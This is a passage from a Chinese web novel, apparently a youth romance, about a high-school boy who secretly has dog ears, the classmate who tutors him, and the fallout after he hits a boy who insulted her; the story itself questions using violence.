但是觑着她跟在自己身边,寸步不离的样子,他又忍不住觉得……
她这样好难得,要不见好就收吧。
其实耳朵也不是很疼。
他还是开了口回她:“去食堂啊!你不是说要吃饭的吗?这会儿人肯定已经多起来了。”
林风临才想起这茬,真是昏了头了!
她不善地瞪向陆巡:“为什么我遇见你两天,两天都在饿肚子?”
陆巡捂住头,开始有点后悔招惹她了。
他为什么就那么闲得犯贱,非想跟她说话呢?
她说的能是好话吗?
为什么他在她面前,总觉得有点窝囊?
陆巡呼出一口气,绷住脸,硬气地说:“饿肚子怎么了?饿一会而已,我不是马上就给你买饭了吗?”
林风临意识到一件事,追问:“你……急匆匆要走,就是为了给我买饭?”
“不然呢?你不识好人心!”陆巡几乎有点委屈了,怎么做都被骂。
林风临立马笑开了:“哎呀,你不早说!那你快去呀,等我干嘛!快!跑起来!我要菠萝咕咾肉,还有鱼香肉丝,要是还有的话。快点,干什么呢!”
说着说着,她严厉起来。
陆巡认命地迈开腿跑起来,在人群中无情地穿梭。
林风临这下也不急了,慢悠悠往食堂晃。
看着陆巡的校服被风扬起,在校园的林荫道上很快跑远了,她模模糊糊地产生一个念头:他跑起来,好像比其他男生好看些。
不知道想到什么,她抬起手,摸到了头发上的黑色发夹。
15分钟后。
食堂里,陆巡像杂技演员似的托着两个托盘,向林风临走来。
因为人多拥挤,他皱着眉,几乎把托盘举到脸的高度。
还好他名声在外,有挤到他的学生转头看见他的脸,纷纷避开了。
林风临看着他在人群里硬是靠刷脸清出一条路,惊讶地挑了挑眉。
陆巡比想象中还要不受人待见啊。
她托着下巴沉吟,这是什么原因?明明她接触下来,陆巡完全就是个善良热心又软弱可怜的好人啊。
传言肯定不实,但是这个源头是谁,或什么事情弄出来的呢?
她有点不爽,开始回想自己是从谁那里听说陆巡的事迹。
“想什么呢?吃吧!鱼香肉丝没了,咕咾肉有,鸡腿我之前让王竞勇给我留了,你要不?”陆巡已经到了她面前,小心翼翼地放下她的餐盘。
林风临看了他天真无辜的脸一眼,哼道:“你命真好。”
竟然遇到我这么好的人打算给你伸张正义。
陆巡被她这么一句说得莫名其妙,还有点无奈的好笑:“我命好?你是说我有机会伺候你吗?”
本来不是这个意思的。
但是他这个话也有道理。
有机会给她打饭,难道不是天大的好事?
她都没给过别人这个机会!
林风临煞有其事地点点头:“确实,你太幸运了。有的人根
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本和我说不上话。而你,不但能和我同桌而食,还能被我……”
她的话音顿住了。
人来人往的吵闹食堂,她意识到一件事。
陆巡的筷子疑惑地停住了,下意识接道:“被你……摸?”
林风临的表情立刻变了,她伸手狠狠扇了一下他面前的空气:“你疯啦!这种话也在外面说!”
她鬼鬼祟祟地打量了一下四周,又收回视线,看着超大只无比显眼的陆巡,突然叹道:“我的形象啊……我,哎,算了,你小子命真好,今天之后,你就等着听和我的绯闻吧。”
陆巡愣住了:“什么?”
“你以为这里是哪里?这里是午饭时间的高中食堂!你知道这里有多少情报人员吗?你对他们的敏锐一无所知!”林风临颇有点恨铁不成钢的意思。
陆巡的耳朵几乎是瞬间抖了抖,跳了起来,训练有素地朝四面八方旋转收听。
一直偷偷关注他帽子的林风临:!
“喂!你耳朵动静小点!帽子刚刚都顶出两个印儿了。”她压低声音提醒。
陆巡:“哦哦。”
陆巡:“我反应很大吗?”
他木着脸,显然还被刚刚石破天惊的“绯闻”两个字冲击得回不过神。
林风临看他这不聪明的劲儿,小声嫌弃道:“你反应还不大?耳朵都快跳出来了。”
她还是抬起手,把自己头发上的那枚黑色发夹取了下来。
“把这个夹上,帽子能牢一点。你得把头发留长一点,不然夹不住。”
陆巡刚开学时候的头发看起来根根直立,一整个字面意义上的刺头,看着就不好惹。
现在头发长长了些,算是碎发,稍软一些,勉强还能和发夹配合,来固定鸭舌帽的后部。
再长长,摸着应该会更软吧。
林风临带着一点自己的私心,又叮嘱一句:“不要剪头发知道不?前面挡眼睛再修……”
陆巡拿着发夹正不知所措,听见她的话,伸出手压了压帽子。
额前的头发被压低了,从帽檐后探下来一些,遮到了眉毛上方。这让他看起来多了几分凌乱的造型感,潇洒之外更有清朗。
“这样……算挡眼睛吗?”
“不……不算,挡眼睛其实也不一定要修吧,到时候给我看看再说。”林风临立刻改口了。
“哦……”陆巡不太在意这些,应了下来。
林风临突然低下头不看他了,自己埋头吃得很起劲,还动作流畅地夹走了他盘里的鸡腿。
陆巡只好也开始大口扒饭。
只是,他还在想着林风临刚才的“绯闻”预告。
真的吗?会有他和林风临的绯闻?那会是什么说法?
他隐蔽地尝试在帽子底下调动耳朵,可惜食堂的声音太吵太杂,他分辨了半天,也没有个明确方向。
正做贼心虚的时候,林风临不经意地提醒了一句:“你今天开始要背英语单词了。”
陆巡:“……进度这么快吗?会不会太着急了?我要不再准备几天……”
林风临:“快吗?我让你从小学单词开始背呗。”
陆巡:“切,我小学单词还是全会的好吧。”
林风临:“是吗?那初中的呢?高一的呢?这个月新学的呢?你高一期末考试英语多少分?”
陆巡:……
林风临:“问你话呢。”
陆巡:“反正60分及格肯定有的!”
林风临:“……满分是120分,72分才及格。”
陆巡:“哦。”
陆巡:“我平时比较忙,没注意过这些细节。”
林风临:“马上下周第一次月考了,你起码得考及格。”
陆巡:“……我试试吧。”
林风临:“你必须考及格。”
陆巡:“为什么!”
林风临放下筷子,幽幽地看着他,“因为你有我们都没有的优势。”
陆巡一头雾水:“什么?”
林风临哀怨的目光投向他的脑袋:“你听英语听力比我容易!你这个可恶的开挂狗!”
8. 狗生气了
对于陆巡来说,这是水深火热的一天。
他自讨苦吃,如愿以偿挨了林风临的骂,得偿所愿让林风临辅导了英语。
她提出的严格要求就不说了。
他瘫在座位上背得直翻白眼也是小事一桩。
最要命的是,这一天剩下的时间里,他无法抑制地一直一直回想,林风临手指的触感。
那两只可恶的耳朵,不听使唤的开始。
一个人的时候,他可以自如地控制它们起立、卧下、转向,灵活收听远近高低的不同声音。
但是,林风临在草地上看着他的时候,这两只耳朵兴奋得超出常理,他根本没有办法控制。
还好他机智,装作生气逃走,不然她的手一停,就会发现那对不争气的狗耳朵是如何疯狂地追着蹭她。
只能说还好没有尾巴,不然他恐怕更明显。
人家只是摸摸耳朵而已,你激动得喘不上气什么意思?
万一被她发现怎么办?
她会怎么想?
会被吓跑吧,像那些人一样。
陆巡突然回想起了她用头撞他和用头发甩他脸的壮举。
不对,她比其他人凶多了。
怕应该是不会怕的。
但是如果觉得讨厌呢?
如果……如果下次她随手摸摸,而他的不可控状态被发现了……
晚自习下课铃终于响了。
学生们活动筋骨,拖着疲惫的身体开始收书包。
陆巡心里五味杂陈。
他看了看前排林风临的背影,有心去她旁边转一圈。
但想想还是算了,暂时保持距离吧,他要学会克制。
先……回家再背30个单词吧。
陆巡的脸色糟糕极了,他站起来,面无表情地收拾书和笔记。
同桌王竞勇看得瞪大了眼:“陆哥,你咋了?”
“什么咋了。”
“你怎么还收拾东西呢?有啥要带回家呀?”
陆巡不耐烦和他说话了,敷衍道:“别说了,我头疼。”
“怎么会头疼呢?”王竞勇那张大脸凑过来就要研究他的头。
陆巡一把推开他:“上课上的。”
他加快了速度收拾,只是到底不熟练,笔用完也不知道丢哪去了。
王竞勇叹息一声,把空荡荡软趴趴的书包往肩上一甩,嘴里还在念叨:“陆哥,你说你,上课还用啥脑子,这玩意得保养知道不!”
陆巡懒得喷,只是一味在桌上的书堆里摸笔。
看他八棍子打不出一个闷屁的样,王竞勇啧了一声:“行,明儿见吧!你晚上好好休息,作业不着急写,明天我抄别人的。走了!”
陆巡到底是抬头看了他一眼,心里涌起了一种迫切的疑惑:
为什么这家伙表现得好像跟他很熟一样?
王竞勇热情地拍了拍他的肩,蹦出了教室。
陆巡找到了笔,看了一眼还在座位上慢吞吞收拾东西的林风临,转身离开了。
————
九月底的天气冷下来,白天有阳光时不觉得,到了晚上,城郊风也寒凉,月也凄凉。
陆巡走在回福利院的石子路上,身上刚刚因为奔跑沁出的汗,很快地冷下来。
他没来得及再想些什么,突然一道手电筒的白光打在了他的脸上。
他眯起眼睛,老实地把手从兜里抽出来,张开双臂,任这道光把他从头到脚来回扫射了三遍。
那个熟悉的人影把手电筒往下一点,就在他面前铺开了一条光亮的前路。
连石子都像在湖底一样闪着微光。
他开口喊:“院长!”
院长不会无缘无故来找他,她很忙。
孩子们的学费筹齐之后,还有接踵而来的各种伙食费学杂费,加上这个月底下员工的工资,全落在她一个人身上。
程天晓今年56岁,作为星星福利院的院长,她在大家眼里几乎是无所不能的,筹款、拉物资、人事管理,院里院外一把抓。
她那总是皱着的眉头,今天也没有松开。
傍晚时候,她接到原野中学的一个电话,是陆巡的班主任打来的,那个老头子话里话外都是陆巡“行为异常”,要关注,要敲打,要防止孩子走上歪路。
还着重提了陆巡顶撞他的事。
收回思绪,程天晓看着孩子朝她跑过来,单薄的校服被风吹起,翻卷到身后,拉链叮铃铃地响。
“把衣服拉链拉上,不冷啊?”她仍然没收回视线,又把孩子从上到下打量了一遍。
陆巡乖乖伸手,一下子把外套的拉链唰一下拉到顶,小半张脸藏在领子里。
她伸手要接过陆巡的书包,却被他避开了:“没事院长,我自己背。”
“过几天大降温了,今天回去就把你那两件毛衣找出来,看看小了没有,要是小了,回头和我说。”程院长习惯性地叮嘱孩子。
“嗯,应该不小,还能穿。”陆巡说。
两人又静下来,慢慢朝前走。
直到手电筒的光照在福利院门前的大银杏树上,照见黄了小小一簇的银杏叶。
程院长停下脚步,“今天有什么想和我说的事吗?”
她的目光此刻才落在陆巡头顶的帽子上。
陆巡面不改色:“有的院长,我今天背英语单词了。”
程天晓:“哦。不错。今天还带了书包回来。”
陆巡:“对的。”
程天晓:“……”
陆巡:“……”
程院长叹了口气,抬起手隔着帽子摸了摸他的头,推开院门进去了。
陆巡立在原地。
刚才院长抬手的那一瞬间,他甚至以为她要摘下他的帽子。
他有点庆幸她没有,又……似乎有点失落。
陆巡抬脚进去,算了吧,院长这么大年纪了,这种惊世骇俗的事情,她最好别知道。
院长和少年人的思维不一样,陆巡很清楚。
对于他和林风临来说,长狗耳朵或许只是青春期众多烦恼和麻烦中,比较特别的一件。
就像对大人藏起其他秘密那样,藏起来就好。
甚至对于其他同龄人来说,也不过就是这样,就算被发现,顶多是一些新奇的嘲笑奚落,还有猎奇的窥探掌控。
最多打一架。
也就这样而已。
因为他们能做的只有这样。
他们早就习惯这种无能为力的感觉,等待长大。
陆巡其实并不怕。
但在院长看来,这恐怕是能毁掉他一辈子的事情吧。
成年人似乎知道更多的困难模式,他们的恐惧更深更多。
轻易就被压倒了。
陆巡不清楚院长具体会为他担心什么,但是他很明白她能做的只有担心。
这就不必了吧,他也不是很想听那些关于如果这样,以后你的人生就会那样的断言。
陆巡拎着书包走进院里的活动室,这个时间,福利院里的小孩子基本都被保育员哄着去睡觉了,只有少数几个上初中的孩子还零零散散坐在桌边抓耳挠腮。
那几个孩子看了他一眼,又继续做自己的事了。
陆巡和他们都不是很熟。
他把就近一张桌子上的彩色积木玩具收到地上的箱子里,摸摸兜里没纸,懒得再去拿,随便用袖子擦了擦桌面。
开始严肃学习英语单词。
一个小时后。
星星福利院睡觉的地方大体是三间大屋子,里面十几张铁架子上下床,住着孩子们和几个院里的保育员
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。
小孩子们上下铺亲亲热热地挤在一起。
初中以后的孩子们就基本上一人一张床,上铺放些衣服杂物,下铺挂上帘子睡觉。
其实按道理说,像陆巡这个年纪,本来可以换间特别屋子睡的,之前成年后从福利院离开的姐姐哥哥们空出来的。
只是陆巡不愿意搬。
陆巡回自己那间屋的时候,小孩子们都睡了。
他踮着脚推门进去,在伸手不见五指的黑暗中,坐到床上,拉起帘子,累得长出一口气。
直到这个时候,他才有点迟缓地抬手,慢慢揭下了头上的帽子。
屋里的呼噜声立刻清晰x10,像开了会员蹲人家床底一样扑面而来。
陆巡:……
他用力甩了甩头。
柔软的毛耳朵旋风一样摇滚,呼呼风声从头顶直接灌进身体。
陆巡闭了闭眼。
哎,习惯就好。
他轻手轻脚脱了衣服躺下,看起来很平静。
一点也不像头天晚上烦得直捶枕头的他。
黑暗中,他睁眼看着天花板——其实是上铺的床底,发现纹理特别清晰。
啧,也是有夜视功能的超人了。
不知道有什么用。
摸黑写作业?
把讨厌的人晚上约出来狂揍?
又不是隐身。
他撇撇嘴,换了个姿势躺着。
还是林风临说的靠谱一点。
起码耳朵的变化能让他更擅长英语听力吧。
“呼呼~吁——”
陆巡瞪着眼睛,到底哪个小孩打呼噜声音这么大!
他闭上了耳朵。
明天买个耳塞吧。
也不知道有没有适应狗耳朵的尺寸。
————
高中生新的一天又老套地开始了。
陆巡叼着包子进校门的时候,脑子里还转着一些莫名其妙的英语单词。
abandon早已烂熟于心。
affect是影响,为什么affection就是喜欢?而affectation是做作?
哎,烦得要死。
今天背b开头的吧。
陆巡的耳朵突然敏锐地动了动。
“……真的……林风临……切”
他抬头看向走在前方一帮勾肩搭背的男生。
他们在讨论林风临?
陆巡心里一跳,想起了什么。
灵敏模式开!
断断续续的声音清晰起来。
被围在中间的那个男生语气有种刻意的轻蔑。
“草,不知道拽什么拽,给她脸了,我根本就没有喜欢她好吧?”
“那你之前天天去6班干什么?装吧你就。”
“我倒水!”
“哟哟哟,班里没水?非要去隔壁倒?”
“你之前可不是这么说的!枉我还找6班的帮你问了……人家可一点没看上你!”
那个男生显然恼了,挣脱开旁边人的手:“我也没看上她!她算什么东西,水性杨花的。逗她玩而已!你们烦不烦!”
话音刚落,他就被人从后狠狠撞了一下,往前冲了好几步,还是没稳住,扑通一声跪在了水泥地上,两只手掌立刻渗了血。
他疼得侧坐在了地上,怒吼一声:“谁啊!”
旁边的兄弟们嘀咕着什么,拉扯着向两边散开了。
一个高大的人影走到了他近前。
“你谁啊?干嘛撞我?”他强撑着问。
这个奇怪的陌生男生蹲了下来,揪住他的衣领,向他脸上打了一拳。
.
早上陆巡没有来教室。
林风临坐在讲台上看英语早读,心里有点奇怪的不安。
9. 狗的另一个秘密
教师办公室。
高二6班的班主任鲁自强,一大早就被迫面对一起由自己班学生引起的斗殴纠纷。
好不容易打发走5班的班主任和那个脸上青了一块的倒霉孩子,鲁自强面色黑沉。
“说说,这次又是因为什么?”
陆巡站在他办公桌前,照常神游天外。
打就打了,又能怎样。
因为什么?路见不平,一拳打平。
看那个孙子不顺眼而已。
“你给我说话!”鲁自强重重一拍桌子。
陆巡看他脸膛发红,鼻孔翕动,一副怒气值满格的样子,想想还是给点回应吧,别把人气出个好歹来。
他勉强道:“因为他们……影响学校风气,大早上就挡在路中间横行霸道。我顺手就收拾了。”
鲁自强连连冷笑:“好大的威风!”
“你随心所欲地扰乱学校秩序,欺负无辜路人,我也实在没什么可说的。恐怕我教不了你。”
他掀开老夹克外套的一边,开始掏摸自己的老年手机。
“让你家长来教你做人的道理!”
陆巡皱了皱眉,他不愿意程院长为自己的事多一份烦心。
于是他好言阻拦道:“打给家长也没用。”
鲁自强怒火更甚:“反了天了!没人能治得了你?”
他正要再发作,办公室门口慢慢走了一个人进来。
是焦美凤。
她六十多岁了,是退休返聘的老教师,教高二6班语文。平时佛系得很,很少来办公室坐班。只在上课时拎着个皮包和水杯直接去教室。
今天倒是赶巧了,上午第一节是她的课,她难得早早到了,寻思着先来办公室把养生茶煮上。
一进门就看见这么一出。
“哎哟,怎么了这是?老鲁?大早上就气成这样啊。”
她笑吟吟地打招呼。
鲁自强一看见她,立刻拘束起来:“没什么,姐,小事儿,这学生打架了,我在训呢。”
“噢,我看这个小伙子不错呀,挺精神,怎么打架的?跟焦老师说说。”
她说着回自己办公桌放了包,又踱步过来打量着站得笔直的陆巡。
陆巡:“不小心撞了那个人一下,手也一不留神砸他脸上了。都是意外。”
焦老师:……
她愣了一下,反倒笑起来:“你叫什么名字?”
“陆巡。”
“哦哦,陆巡……有点耳熟——”焦老太思索了一会儿,想起来在哪见过这名字了。
她那勤劳的课代表关容,天天收作业上报的未交名单里,可不就常有这个男生?
焦老师笑起来:“百闻不如一见啊……陆巡,你可不常来我的课。这还是我第一回看清你什么模样嘞。”
面对这种善意的调笑,陆巡难得低下了头:“不好意思,焦老师……”
满头银发的焦美凤摆摆手:“行了,今天第一节课是我的语文课,一定要来啊。”
说着,又顺手拿起窗台上的水壶,走到走廊上给花盆浇水去了。
陆巡有点意外地抬头看了看她的背影。
这是替他求情的意思,让他去上她今天的课,意味着鲁自强最晚在这节早读课下课,就得把他放回去。
为什么帮他?
鲁自强显然也听出味儿了,他重重叹了口气,看向陆巡:“你等会儿就去上课。但这事儿没完。你不能总是把老师的话当耳边风,一意孤行,惹出许多麻烦来。你知不知道……”
“知道,我会付出代价的。”陆巡打断他。
他直视着前方,平静地说:“我已经在接受代价了。”
.
送走讨债鬼学生,鲁自强沉着脸在椅子上靠着。
焦美凤没管他,自顾自回到自己办公桌后,拈着叶子看桌上小盆栽的长势。
鲁自强忍不住了,他转过身埋怨道:“姐!为什么要拆我台!那小子都那样无法无天了,还不能骂两句?他性格歪成这样,我正愁着呢,你还捣乱!”
急躁的话音咚咚落在了办公室的灰色地面上,没被接住。
等了十秒钟,看焦美凤一副什么都没听见的样子,鲁自强没脾气了,他无力地叹了口气,试探道:“焦老师,你有更好的办法解决?”
这个时候,沉迷于莳花弄草的焦美凤才一副刚被唤醒的样子,浑身一震,惊道:“哎呀,鲁老师,你在和我说话呀?喔唷,年纪大了,耳朵不好使了。”
她比鲁自强大十岁,鲁自强三十年前进这所学校当教师的时候,她已经是这里的中流砥柱了。当了很一段时间他的带教,算得上是有情分的前辈。
“我哪有什么好办法?”焦美凤反倒甩起手来,“教书育人,哪里是一时半会儿见效的事情?”
“那您怎么看?这孩子究竟为什么总这副油盐不进的样子?”鲁自强三两句就入了套,表露出了十分的焦心。
看他从听不进话的状态挣脱,焦美凤才斟酌着慢慢和他聊起自己的想法来。
“老鲁啊,事出肯定有因,不用每次着急下定论。觉得这孩子是又犯了,总犯了,说不准每一回情况都不同,但是他始终没有新的方法去解决自己的困难,只能重走老路。那,你说十七八岁的人了,能不知道打架不对吗?起码知道打完架会有麻烦吧?他还要去打架,那肯定是没有比打架更好的招了,或者说,当下他想不到,也来不及想别的了。”
鲁自强余怒未消:“他有困难,可以说出来!每次把老师推到千里之外,当坏人仇人似的防着,我有什么机会帮他解决问题?他不体谅我工作的难处,我还要去哄着求着他不成?”
“哎,对,这就是思想工作的困难之处啊。不是谁都做得了这件事的,做不到也不稀奇。但老鲁你,是有希望做好的,这么多年风风雨雨,再棘手的情况一经你手,最后不也都服服帖帖?”
鲁自强苦笑起来:“难啊。我真想不管了算了,各人有各人的缘法。”
“遇见我们也是他的缘法。”焦美凤平静道。
“他就在你眼前,帮不帮,也在你一念之间。”
“再给你自己一点时间吧。”
把急躁的师弟安抚住,焦美凤倒出刚烹好的花茶,细呷一口,口齿留香。
她在热气凝出的白雾中,又想起了自己长满尖刺的十八岁。
在最无能为力的年纪,对世界萌生了最大的失望和怨恨。
她挑衅过所有束缚她的秩序,刺伤过每一个为她好的人,但跌跌撞撞,仍然找不到出路。
如果当时有人真的看见她,理解她,信任她,会怎么样?
焦美凤不
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由得笑起来,眼角细细的皱纹也透着释然的从容。
也不会怎么样吧。
谁要尝试影响她的人生,也要看她信不信。
就算有人真的伸出手,也许她也会抬手打掉。
直到她自己选择走出来为止。
那这个陆巡,他会做出不一样的选择吗?
在慢悠悠走向教室的路上,焦美凤回想着师弟和自己说过的事情细节,心里大概有了数。
问挑事原因的时候,陆巡多次插科打诨,顾左右而言其他。
盛怒中的师弟把这个当作对他权威的有意挑衅,但是在她看来,很明显陆巡这孩子,要保护的就是这个原因。
也是他冒险出头的原因。
会是什么呢?
焦美凤不知道,她也没有这个自信撬开青春期孩子的蚌壳嘴。
只是,她在看陆巡的时候会多一分理解而已。
或许没用,或许有用。谁知道呢。
——————
一整节早读课。
林风临嘴里念叨着英语单词,余光一直盯着后门口陆巡的座位。
一方面焦心陆巡是不是又出了什么事,一方面又焦虑担心他太影响学习。
想来想去,还是定不下心。
可能他睡过头了,直接翘了早读?
毕竟他一看就是那样随性的人。
但是昨天他答应她好好学习的时候,看起来充满了认栽的苦涩啊。
那种绝望是装不出来的,同在无涯学海中挣扎的人都能感受到。
他当时一定是真心的!
所以说,果然还是变心了吧?
他的耐力和毅力比她弱这么多?
林风临觉得完全有这种可能。
但……
万一是他的狗耳朵被发现了呢?或者身体哪里又出现异常了?
她和陆巡……的耳朵……也算是有点羁绊在的吧。
作为共同承担秘密的人,她同时也感到了一份莫名的责任。
何况她现在算他半个师傅,有什么事照应他也是应该的。
不管怎么样,她有权利了解一点信息吧?
林风临说服了自己,在早读课下课前五分钟,开始全心全意担心自己的战略伙伴。
她在讲台上坐立不安,第二十八次抬头的时候,终于看见陆巡压了压帽子,低调进入教室。
林风临的眼睛一亮,紧盯着他的动作。等到他坐稳了,总算看了一眼讲台,接收到了她急迫的眼神信号。
陆巡:?
她看起来很着急,为什么?
总不可能是为他着急吧。
陆巡脸上的迷茫忽然顿住了。
为什么不可能?
他突然记起了今早自己听到那些人议论她时,无法压制的冲动心情。
他讨厌别人评判她。
让他们停下。
几乎没有思考一秒,他也不知道为什么,等反应过来时那个人已经在地上了,看他的眼里带上了恐惧。
如果这恐惧是给她的多好。
但是,当赶来的老师们将他拉开,用严厉的言语谴责痛骂这场事件里的所有人。
喧闹混乱中,他忽然想起她的脸,心里只剩一个念头:
我不会让这场冲突和你有关。
10. 狗的伤口
“到底是怎么回事?”
好不容易挨到中午,林风临趁着吃饭赶紧揪住陆巡。
这个家伙也真是奇怪,她课间朝他使眼色,示意他中午放学的时候留一下。眼看着他明明特别有使命感地点头了,结果下课铃一响,他就像脱了缰的狗一样撒手就没了。
林风临连他起步的尾气都没看到。
老师刚说了下课,她就听到后方几声混乱的噔噔脚步声,一回头,后排的男生全都没了人影。
到了食堂才发现,陆巡今天的速度快如闪电,已经打好了她和他的饭,坐在昨天的老位置等她了。
“我今天是第一个,整栋楼第一个出来的。”陆巡略带炫耀。
林风临:“真牛,鞋带早就系好了吧?”
“那必须的,我下课前十分钟把鞋带重系了,校服拉链拉上了,帽子用你的发夹重新固定了,一切可能阻碍我跑步的因素统统排除了!万事俱备!”
“所以你为什么打架?”林风临微笑道。
陆巡:“……”
“诶,你这个鱼香肉丝闻着好香,我能吃一口吗?”他伸出筷子,跃跃欲试。
两双筷子在空中猛地相撞,发出“嗒”的一声。
“不许吃,先回答我的问题。”
陆巡别开头,用筷子戳戳盘里的饭,底气不足地说:“小事儿,没什么好说的。”
“行,”林风临点点头,掏出18块钱,“这是昨天和今天的饭钱,谢谢你。”
她把钱拍在桌上,然后低头吃饭了。
她这样,陆巡反倒不安起来,他觑着她的脸色,小心地说:“其实真没什么,我这个人……比较好斗,打架对于我来说就是家常便饭。”
“哦,那你饭量还挺大。”林风临看也没看他一眼。
陆巡不知道说什么好了。
以往林风临和他针锋相对,振振有词的时候,他觉得无奈。
现在林风临一反常态,温和起来,他反而觉得更无措。
她好像成了一个无处下手的球,滑溜溜的,一点抓手也没有。
陆巡干巴巴地想了好几个话题,林风临一个字也没回他。
等到吃完站起来,她才淡淡说了一句:“钱拿好,我不喜欢欠别人的。”
说罢,毫无停顿地交了餐盘离开食堂。
陆巡隔了一段距离缀在她后面,失魂落魄地慢慢挪动。
这些年,他从来不觉得自己做事需要向谁交代。
反正谁也不理解他,他也不屑解释什么。
可是为什么看见她这样子,他会有种强烈的做错事情的愧疚感?
但现在告诉她自己打架的原因,不会显得像邀功吗?
而且还不知道她是否喜欢。
如果她不喜欢这种方式……更不喜欢用这种野蛮手段的他呢?
告诉她似乎会让她生气,可是不告诉她,她也已经在生气了。
他甚至不知道为什么。
那对垂头丧气的耳朵动了动,指向前方。
陆巡在自己察觉之前,就已经急切地抬起了头。
林风临停下了。
她回头看他,对他勾了勾手。
陆巡的眼睛刹那间亮了起来,他快速跑上前去,气都没喘匀:“你不是不让我和你走太近吗?”
“你还是没明白。我改变主意了。”林风临给了他一记眼刀。
她一路风风火火熟门熟路走向小树林,到草地上站定:“用你的耳朵听听,附近有人吗?”
陆巡凝神竖着耳朵细听了一会:“暂时没有,河对岸房子里好像开饭了,小树林边上有几个女生在爬树。一时半会儿应该不会过来。”
顿了顿,他问:“你要打我吗?”
林风临活活气笑了。
“你脑子里只有这个吗?一有问题就用武力解决?”她没忍住双手叉起了腰。
确实这是陆巡唯一能想到的办法。
他不太明白为什么在林风临这里不管用了。
不管是老师还是带他长大的院长和阿姨们,每次出现矛盾,骂他一顿,或者打他一顿,事情就过去了。
这难道不是做别人反对的事情,本来就应该付出的代价吗?
林风临是真的开始对陆巡的成长环境好奇起来了,怎么会让陆巡长成这个样子?
在无法无天和唯唯诺诺之间极端切换。
“打人骂人只能撒气,又不能解决实际问题!”
她看着陆巡歪了歪头,露出了真切的疑惑。
“那应该怎么解决?你教教我。”
河岸下的水面,被微风拂过,晕出一圈圈的平静涟漪。
林风临心平气和地转过头,“我告诉你一个秘密吧。”
“从小到大,有不少男生或多或少地向我表达过好感。”
“一开始,我觉得很开心,有人喜欢我,认可我。”
“后来,我开始觉得有点厌烦。”
“厌烦的原因也很简单,我发现他们不是真的喜欢我。我比他们自己要更早发现这一点。”
“就拿你今天打了的那个隔壁班男生举例,我不认识他,也懒得记他名字,不过我看见他今天挨打后的样子了,脸上青了一块,就叫他小青吧。”
林风临发现陆巡的神色不自然了起来,有点躲闪。
她笑了一声,更确定了自己的猜测,自顾自地说了下去:“大概是开学一周后,我开始觉得有点不对劲,当我经过隔壁班的时候,总有几个男生隔着窗户对我指指点点,大声笑着说着什么。”
“有什么我不知道的事情发生了。”
“后来我有一次听清了,他们在说谁谁的老婆来了,快看!”
“我觉得非常非常无语,我什么时候结婚了,我怎么不知道?”
“但是我这么优秀,有几个梦男也正常。”
“我忙着呢,这帮人别影响我学习就行。”
“结果上周,我们班几个好事的男生聚到我座位旁边来,好像还有隔壁班的一两个,跟我说隔壁班那个小青喜欢我。”
“我根本没听说过这个名字,我说我不认识。”
“他们就急了,说小青为了看我,每次都借口隔壁班饮水机没水,跑到我们班来。”
“我说完全没印象,不相干的人有什么事,跑到我面前来说干什么?”
陆巡越听越生气:“这帮人是不是有病?凭什么张口就把你当成那个家伙的囊中之物?还跑过来耀武扬威的,你当时怎么不打他们?”
林风临看着他:“所以你打他们了。”
陆巡自知说漏了嘴,干脆地回道:“是打了,那个什么小青打在脸上,其他几个我也给了几下子,顺手的事。”
林风临笑起来:“你知道这一上午,消息传得多快,他们说你现在无目标打击所有无辜路人,那些受害者全都敢怒不敢言。”
“他们可不无辜。”陆巡闷闷地说。
“他们在背后说我坏话了,你听到了是吧?”
陆巡没说话,他不可能复述那些字眼。
和二次伤害有什么区别。
林风临一看他那怏怏不乐的样子,就知道他在想什么,拍拍他赞赏道:
“你是一个非常讲义气的人,是我见过最勇敢的人之一。”
“你为我站出来,我觉得很感动,我知道如果同样的事发生在你身上,我也会为你这样做
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“但是,我们站出来的方式,应该会完全不同。”
她说:“这件事情,上周我已经处理完毕。我展现了完全不感兴趣也不为所动的态度,没有让那些人看到什么害羞、恼怒或是害怕的样子,他们悻悻离开了。”
“我已经胜利了。”
“因为我得到了我想要的,平静学习不受打扰,并且拒绝给予他们想要的情绪,让他们败兴而归。”
“我完全把这件事抛之脑后了,这种情况下,如果我听到他和他的那帮兄弟在背后说我坏话,我只会觉得太爽了,简直是我的人生高光时刻!”
“为什么?他们在伤害你!”陆巡忍不住插嘴。
“恰恰相反,他们在伤害他们自己。你看,这帮人在背后说我坏话,这句话里对我来说,有三个爽点。”
“第一,他们只敢在背后说,证明他们已经见识到了我的厉害,明白他们如果到我面前跳来跳去,只会自讨没趣。未战先怯。此乃一胜。”
“他们说我坏话,证明他们对我很不满,为什么不满呢?因为我没让他们占到半分便宜,他们一败涂地。败者的不服是胜利者的功勋章!此乃二胜。”
“最后,事情发生已经一周过去了,他们还在耿耿于怀,说明我的反应对他们的打击之大,让他们根本走不出来。
而反观我自己,我到现在连那个梦男的名字也没记住,这些人我都早当个屁放了。我每天过得很充实,我今天早上吃了妈妈纯手工摊的鸡蛋饼,配我最喜欢吃的酱菜,还有加了辣的火腿肠。早读课背完了我在阅读里看到很感兴趣的几十个新单词,我还自己造了句,特别实用,以后我遇见外国人肯定能用上,超级妙!……诶,我说到哪,哦哦,此乃三胜!”
林风临一摊手:“你看,我是胜利者,不是受害者。”
陆巡低下头,“我做错了,反而又弄出了麻烦。还好,我没有说出你的名字,他们不知道这件事和你有关……不对,本来也和你没关系,是我自作聪明了。”
林风临上前,踮起脚揉了揉他的头,很宽容地说:“那倒不至于,你别把自己搞得跟个苦瓜一样。”
“你有你的方法,我有我的方式,我的方式也不一定对啊,你别看我说得头头是道的,说不定什么时候又自我怀疑上了。但是我永远不会自责的,我不可能会怪以前的自己做得不够好,太高高在上了吧?现在的我难道就一定正确?”
“总之,你也不要自责,你当时一定是没有别的办法了,又太想帮我了。你已经尽力了,差不多得了,哪有那么多对错好坏?”
“我只是想告诉你,除了动手,除了两败俱伤,人生一定还有别的办法。”
“你看你现在,他们是挨了打,可是没几天就会痊愈的,但大家对你的偏见又加深了,他们的观念根深蒂固以后,不是一时半会能扭转的!你也太亏了!”
“你把自己弄得乱七八糟,让我欠你一个大人情!”
陆巡连忙否认:“我没有这个意思,你什么也不欠我!”
林风临狡黠地笑了一下:“要的就是你这句话。”
后知后觉的陆巡:……
林风临清了清嗓子:“现在你明白了,不要一副苦大仇深的样子,我最烦有人为我付出我不需要的东西了!”
看着陆巡的脸又有红透的趋势,她连忙补充道:“但是!你确实租用了我的帽子,给我带来了不菲的收入。作为对老客户的感恩回馈,我是来帮助你的!”
陆巡被她说的话左一拳右一拳早打懵了:“什么?”
林风临拉着他坐在草地上,认真地问他:“你觉得他们说我坏话,是在伤害我,因为你被这些话伤害过,是吗?”
